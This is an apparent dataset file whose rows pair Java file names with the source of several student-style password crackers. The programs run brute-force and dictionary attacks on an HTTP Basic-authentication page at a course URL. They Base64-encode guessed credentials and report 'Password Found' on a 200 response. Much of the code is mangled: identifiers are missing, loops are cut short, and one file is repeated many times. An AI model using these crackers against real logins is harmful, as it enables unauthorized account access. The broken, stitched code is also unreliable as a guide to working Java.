""""; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",048.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; import java.net.HttpURLConnection; public class BruteForce { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String cad = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",183.java," import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce extends Frame implements ActionListener { private TextField tf = new TextField(); private TextArea ta = new TextArea(); public void actionPerformed (ActionEvent e) { String s = tf.getText(); String login=""""; if (s.length() != 0) { char symbol = 'A'; login="":""; for(int i = 0; i < 3; i++) { symbol = (char)(57.0 * Math.random() + 65); if(symbol>90 && symbol<97){ i--; continue; } login=login+symbol; } ta.setText (fetchURL (s,login)); System.out.println(""runing""+login); }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); System.out.println(""The password is: ""+login); } public BruteForce() { super (""SEC-CRACK""); add (tf, BorderLayout.LEFT); ta.setEditable(false); add (ta, BorderLayout.CENTER); tf.addActionListener (this); addWindowListener (new WindowAdapter() { public void windowClosing (WindowEvent e) { dispose(); System.exit(0); } }); } private String fetchURL (String urlString,String login) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL (urlString); String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); } } catch (MalformedURLException e) { pw.println (""Invalid URL""); } catch (IOException e) { pw.println (""Error URL""); } return sw.toString(); } public static void main(String args[]) { Frame f = new BruteForce(); f.setSize(300, 300); f.setVisible (true); } } class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",051.java,"import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = """"; String pword = ""null""; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",059.java," public class Base64Converter { public static final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode ( String s ) { return encode ( s.getBytes ( ) ); } public static String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } " 258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } ",257.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class BruteForce { public final char [ ] letter = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); BruteForce bForce = new BruteForce(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public BruteForce(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; int i, j, k; URL = new URL(urlPath); String let1 = null; String let2 = null; String let3 = null; String usrName = """"; String usrNamePwd = null; String encoding = null; boolean ok = false; connection = (HttpURLConnection).openConnection(); for(i=0; i> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 258.java," import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int 